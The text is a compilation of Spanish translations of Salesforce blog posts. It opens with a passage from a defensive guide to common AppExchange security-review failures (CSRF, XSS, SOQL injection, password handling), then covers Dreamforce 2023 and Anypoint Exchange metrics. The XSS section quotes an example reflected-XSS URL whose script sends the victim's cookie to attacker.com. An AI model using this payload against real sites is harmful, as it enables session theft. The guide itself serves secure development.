¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

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Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

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Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
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Fiel al foro principal de clientes

Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
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Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
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Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

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Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
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Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

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Cierre el ciclo de comentarios con el uso de activos de intercambio y las métricas de participación ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cierre el ciclo de retroalimentación con el uso de activos de Exchange y las métricas de participación | Blog de desarrolladores de Salesforce

Como desarrollador, desea que su ciclo de desarrollo sea altamente eficiente. Parte de eso implica 1) descubrir y reutilizar fácilmente los activos relevantes con confianza y 2) comprender dónde y cómo se usan (y reutilizan) sus activos, para que pueda tomar decisiones informadas.

Anypoint Exchange , un componente clave de Anypoint Platform, permite a los desarrolladores y administradores crear rápida y fácilmente redes de aplicaciones y empresas componibles . Se integra a la perfección en el "flujo de trabajo" de los clientes y brinda capacidades para producir y consumir activos reutilizables . Los activos son recursos que se pueden crear, descubrir y compartir. Exchange admite varios tipos de recursos reutilizables, incluidos varios tipos de API (REST, GraphQL, etc.), fragmentos de especificaciones de API, recursos personalizados, ejemplos, recursos de integración (conectores, etc.) y recursos de automatización (RPA, etc.).

Un componente de la propuesta de valor central de Exchange es impulsar la eficiencia a través de la reutilización: los activos reutilizables y preconstruidos ayudan a impulsar el viaje del desarrollador. El nuevo panel de compromiso de activos lo ayuda a cuantificar el compromiso y el uso (impulsores clave de la reutilización) por activo, ofreciendo información sobre el rendimiento de sus activos.

Los beneficios clave de esta nueva característica incluyen:

  • Impulse el crecimiento, el compromiso y la reutilización en todo el catálogo
  • Acceda a métricas de uso y puntajes de participación para obtener una vista compuesta de cómo se utilizan sus activos
  • Realice un seguimiento y gestione la adopción de activos con paneles listos para usar
  • Vea análisis de rendimiento de toda su biblioteca de activos en un solo lugar

Panel de métricas de participación de activos (vista de administrador)

Los usuarios con la función de administrador de Exchange pueden ver las métricas de uso y compromiso de los fragmentos de especificación de API y las API de REST mediante el panel. Las métricas de uso miden lo siguiente:

  • Número de veces que se descarga un recurso de Exchange
  • # de importaciones desde API Designer
  • # de importaciones desde Anypoint Studio
  • # de dependientes
  • # de contratos

La puntuación de participación de activos es una métrica compuesta que se puede usar para medir el uso relativo de un activo en Exchange. El tablero muestra métricas de hasta los 50 activos principales durante un período de los últimos 7 días, 30 días o 60 días, clasificados por puntaje de participación. Puede filtrar los activos principales por fragmentos de especificación de API y tipos de API REST y por una o más organizaciones.

El siguiente gráfico muestra el panel de métricas de uso y participación:

Esta función permite a los usuarios con la función de administrador de Exchange tener una visión holística del uso y consumo de activos en su organización, proporcionando información sobre la reutilización de los activos y permitiéndoles impulsar aún más las prácticas eficientes.

Métricas para un activo y una versión específicos

Esta nueva función también le permite ver las métricas de participación de un activo individual y/o una versión específica. Puede hacerlo navegando a la página de detalles del activo de un activo compatible y seleccionando Compromiso de la versión del activo en la barra lateral de navegación izquierda.

El siguiente gráfico muestra la página de detalles del activo con métricas de uso y participación.

Recopilamos y analizamos una amplia gama de metadatos de activos (incluida la versión y el estado del ciclo de vida, entre otros) y métricas (incluida la contribución de participación, las descargas y las importaciones, entre otros). Consulte la documentación para obtener más detalles y definiciones.

Esta vista puede ayudarlo a identificar las versiones de activos que tienen un alto uso general frente a las versiones con poco uso. Esta información puede ayudarlo a comprender mejor el rendimiento y la adherencia de versiones de activos específicos dentro de su organización, lo que lo ayuda a tomar decisiones más informadas cuando se trata de reutilizar y hacer que el proceso de desarrollo sea más eficiente.

Disponibilidad y soporte futuro

Hoy, esta nueva función está disponible para usuarios con la función de administrador de Exchange y propietarios de activos con permiso de colaborador de Exchange . Además, los dos tipos de activos que se admiten actualmente son 1) API REST y 2) fragmentos de especificaciones de API. En el futuro, nos esforzaremos por admitir una gama más amplia de tipos de activos disponibles en Exchange para brindarle una visión más holística del uso, la participación y la reutilización dentro de su organización.

Conclusión

Esta nueva característica de Anypoint Exchange cierra el ciclo de retroalimentación y proporciona nuevos conocimientos basados en datos sobre la participación y el uso de activos. Esta característica ayudará a los desarrolladores a comprender mejor cómo se utilizan sus activos, para que puedan impulsar mejoras en la documentación, el etiquetado de metadatos y más. Los administradores pueden usar esta información para identificar los principales activos adoptados e impulsar las mejores prácticas en todo el catálogo, al mismo tiempo que comprenden mejor qué tipos de activos son valiosos para los desarrolladores. Finalmente, Exchange planea usar estas métricas para impulsar más mejoras y experiencias de productos. ¡Siga las notas de la versión para futuras iteraciones de esta característica!

Sobre el Autor

Ria Joshi es Gerente de Producto en MuleSoft enfocada en Anypoint Exchange. En su función, se esfuerza por generar una cultura de producto basada en datos. Fuera del trabajo, Ria es una corredora de larga distancia y una ávida senderista.

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